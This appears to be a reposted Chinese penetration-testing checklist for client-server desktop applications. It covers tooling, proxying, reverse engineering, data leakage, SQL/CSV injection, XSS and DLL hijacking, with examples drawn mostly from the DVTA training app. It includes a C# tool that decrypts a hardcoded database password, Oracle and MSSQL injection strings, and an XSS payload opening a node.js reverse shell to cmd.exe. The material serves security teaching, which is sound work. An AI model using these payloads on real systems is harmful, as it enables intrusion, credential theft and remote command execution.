0x00 前言
本项目主要针对pc客户端(cs架构)渗透测试,结合自身测试经验和网络资料形成checklist,如有任何问题,欢迎联系,期待大家贡献更多的技巧和案例。
0x01 概述
PC客户端,有丰富功能的GUI,C-S架构。
0x02 开发语言
C#(.NET),JAVA,DELPHI,C,C++......
0x03 协议
TCP、HTTP(S),TDS......
0x04 数据库
oracle,mssql,db2......
0x05 测试工具
//相关工具下载:https://github.com/theLSA/hack-cs-tools
dvta:pc客户端靶场
ida pro:静态分析工具
ollydbg:动态分析工具
CFF Explorer:PE文件分析
PEID:查壳工具
exeinfope/studype:pe文件分析
wireshark:观察流量
tcpview:观察tcp流量
echo Mirage:可拦截tcp流量
burpsuite:http(s)抓包
proxifier:全局代理流量
procmon:文件和注册表监控
regshot:注册表变化对比
process Hacker:进程分析
RegfromApp:注册表监控
WSExplorer:岁月联盟进程抓包工具
strings:查看程序的字符串
.net[反]编译:
dotpeek
de4dot
dnspy
ilspy
sae
ildasm
ilasm
Java反编译
jad
jd-gui
jadx
dex2jar
在线版:
javare.cn
Reflexil:组装编辑器(可以作为ilspy插件)
Vcg:自动化代码审计工具
BinScope:二进制分析工具
0x06 代理设置
大部分客户端没有代理配置功能,需要自行设置全局代理,如下两种方法:
1)IE-internet设置-连接-局域网设置。
2)proxifier --> proxy server/proxification rules
//http的流量可以结合burpsuite方便测试(proxy server设置为burp代理地址)。
0x07 测试点
0. 信息收集
编译信息,开发环境/语言,使用协议,数据库,ip,混淆/加密,是否加壳等。
案例0-CFF查看客户端信息(如编译环境)
dvta
1. 逆向工程
反编译,源代码泄露,硬编码key/password,加解密逻辑,角色判断逻辑(0-admin,1-normaluser),后门等。
案例0-反编译获取加解密逻辑并编写解密工具
dvta
通过该逻辑和获取的信息
Encrypted Text: CTsvjZ0jQghXYWbSRcPxpQ==
AES KEY: J8gLXc454o5tW2HEF7HahcXPufj9v8k8
IV: fq20T0gMnXa6g0l4
编写解密工具
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Security.Cryptography;
namespace aesdecrypt
{
public partial class aesdecrypt : Form
{
public aesdecrypt()
{
InitializeComponent();
}
private void decrypt(object sender, EventArgs e)
{
String key = “J8gLXc454o5tW2HEF7HahcXPufj9v8k8”;
String IV = “fq20T0gMnXa6g0l4”;
String encryptedtext = “CTsvjZ0jQghXYWbSRcPxpQ==”;
byte[] encryptedBytes = Convert.FromBase64String(encryptedtext);
AesCryptoServiceProvider aes = new AesCryptoServiceProvider();
aes.BlockSize = 128;
aes.KeySize = 256;
aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key);
aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV);
aes.Padding = PaddingMode.PKCS7;
aes.Mode = CipherMode.CBC;
ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV);
byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length);
String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes);
Console.WriteLine(“\n”);
Console.WriteLine(“##########Decryptig Database password##########\n”);
Console.WriteLine(“Decrypted Database password:” + decryptedString+”\n”);
Console.WriteLine(“##########Done##########\n”);
}
}
}
//解密代码源自https://resources.infosecinstitute.com/damn-vulnerable-thick-client-app-part-5/#article
案例1-反编译修改代码逻辑让普通用户以管理员登录
dvta
1-Isadmin
0-Normaluser
改1为0即可判断为admin
2. 信息泄露
明文敏感信息,敏感文件(如安装目录下的xxx.config)。
注册表:利用regshot比较客户端运行(如登录)前后注册表差别。
开发调试日志泄露(如dvta.exe >> log.txt)
process hacker查看客户端内存中的明文敏感数据(如账号密码/key)。
strings直接查看客户端字符串(如ip信息)。
查看源代码(如github,gitee等)
案例0-配置敏感信息泄露
dvta
案例1-内存泄露数据库账号密码
dvta
案例2-源代码含有硬编码ftp账号密码
dvta
案例3-开发调试日志泄露
dvta
案例4-某系统登录后本地保存账号密码
//本案例来源于https://blog.csdn.net/weixin\_30685047/article/details/95916065
3. 传输流量
wireshark/echo Mirage/burpsuite+nopeproxy/fillder/charles
ftp等协议明文传输的账号密码
SQL语句明文传输(如利用构造注入,越权等)
案例0-正方教务系统sql语句明文传输,返回明文数据
//本案例来源于wooyu
案例1-某系统登录处数据包返回数据库帐号密码
4. 其他漏洞
用户名枚举
案例0
暴力破解
如登录功能。
案例0
弱口令
可尝试admin 123456等。
密码明文传输
SQL语句暴露
案例0
案例1
SQL注入
如登录处,万能密码
xxx’ or ‘x’=’x
xxx’ or 1=1--
输入框处,构造闭合报错,如’、’)、%’)、order by 100--等。
利用显示位或报错注出数据,原理同web注入,不同数据库大同小异。
案例0-oracle注入
' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
案例1-mssql注入
111') and (select user)>0--
CSV注入
如导出excel,输入1+1,导出后看是否为2。
XSS
如Electron,NodeWebKit等。
案例0-中国蚁剑xss到rce
环境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5
xss webshell:
');  windows+node.js: 成功 var net = require("net"), sh = require("child\_process").exec("cmd.exe"); var client = new net.Socket(); client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); ");  相关参考 https://www.anquanke.com/post/id/176379 命令执行 案例0-印象笔记windows客户端6.15本地文件读取和远程命令执行 http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6%88%B7%E7%AB%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/ 案例1-某云pc客户端命令执行挖掘过程 https://www.secpulse.com/archives/53852.html 案例2-金山WPS Mail邮件客户端远程命令执行漏洞(Mozilla系XUL程序利用技巧) https://shuimugan.com/bug/view?bug\_no=193117 测试点同web。 DLL劫持 Linux文件搜索顺序: 1. 当前目录 2. PATH顺序值目录 程序搜索Dll顺序: //没提供绝对路径 1.应用程序加载的目录。 2.当前目录。 3.系统目录 (C:\Windows\System32\)。 4.16位的系统目录。 5.Windows目录。 6.PATH变量的目录。 程序可以加载攻击者放置的恶意dll。 利用procmon搜索程序加载的dll,观察name not found。 msf生成恶意dll放置于程序加载位置,运行程序即可触发payload。 案例0-dll劫持 dvta   #### 逻辑缺陷 测试点同web。 #### 授权认证缺陷 注册表键值,授权服务器返回信息构造。 相关参考 https://cloud.tencent.com/developer/article/1430899 #### 未授权 案例0-正方教务系统数据库任意操作 知道ip即可接管数据库  //本案例来源于wooyun #### 越权 #### 溢出 0x08 相关技巧 --------- 1. 利用procexp --> properties --> tcp/ip 可以查看该客户端发起的网络连接,从而快速确定服务端地址 2. wireshark直接过滤出服务器或数据库的ip或协议方便查看,如 ip.addr == 1.2.3.4&&http 1. 如果有数据库账号,可以用数据库监控sql语句操作(如sql server profiler)。 0x09 参考资料&&相关资源 --------------- https://resources.infosecinstitute.com 如有侵权,请联系删除,转自渗透测试研究中心 **推荐阅读** [实战|记一次奇妙的文件上传getshell](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247495718&idx=1&sn=e25bcb693e5a50988f4a7ccd4552c2e2&chksm=c04d7718f73afe0e282c778af8587446ff48cd88422701126b0b21fa7f5027c3cde89e0c3d6d&scene=21#wechat_redirect) [「 超详细 | 分享 」手把手教你如何进行内网渗透](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247495694&idx=1&sn=502c812024302566881bad63e01e98cb&chksm=c04d7730f73afe267fd4ef57fb3c74416b20db0ba8e6b03f0c1fd7785348860ccafc15404f24&scene=21#wechat_redirect) [神兵利器 | siusiu-渗透工具管理套件](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247495385&idx=1&sn=4d2d8456c27e058a30b147cb7ed51ab1&chksm=c04d69e7f73ae0f11b382cddddb4a07828524a53c0c2987d572967371470a48ad82ae96e7eb1&scene=21#wechat_redirect) [一款功能全面的XSS扫描器](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247495361&idx=1&sn=26077792908952c6279deeb2a19ebe37&chksm=c04d69fff73ae0e9f2e03dd8e347f35d660a7fd3d51b0f5e45c8c64afc90c0ee34c4251f9c80&scene=21#wechat_redirect) [实战 | 一次利用哥斯拉马绕过宝塔waf](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247495331&idx=1&sn=94b63a0ec82de62191f0911a39b63b7a&chksm=c04d699df73ae08b946e4cf53ceea1bc7591dad0ce18a7ccffed33aa52adccb18b4b1aa78f4c&scene=21#wechat_redirect) [BurpCrypto: 万能网站密码爆破测试工具](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247495253&idx=1&sn=d4c46484a44892ef7235342d2763e6be&chksm=c04d696bf73ae07d0c16cff3317f6eb847df2251a9f2332bbe7de56cb92da53b206cd4100210&scene=21#wechat_redirect) [快速筛选真实IP并整理为C段 -- 棱眼](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247495199&idx=1&sn=74c00ba76f4f6726107e2820daf7817a&chksm=c04d6921f73ae037efe92e051ac3978068d29e76b09cf5b0b501452693984f96baa9436457e4&scene=21#wechat_redirect) [自动探测端口顺便爆破工具t14m4t](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247495141&idx=1&sn=084e8231c0495e91d1bd841e3f43b61c&chksm=c04d6adbf73ae3cdbb0a4cc754f78228772d6899b94d0ea6bb735b4b5ca03c51e7715b43d0af&scene=21#wechat_redirect) [渗透工具|无状态子域名爆破工具(1秒扫160万个子域)](http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247495099&idx=1&sn=385764328aff5ec49acddab380721af0&chksm=c04d6a85f73ae393ffab22021839f5baec3802d495c34fb364cbdd9b7cb0cf642851e9527ba7&scene=21#wechat_redirect) **查看更多精彩内容,还请关注** **橘猫学安全:** **每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“** **再看”**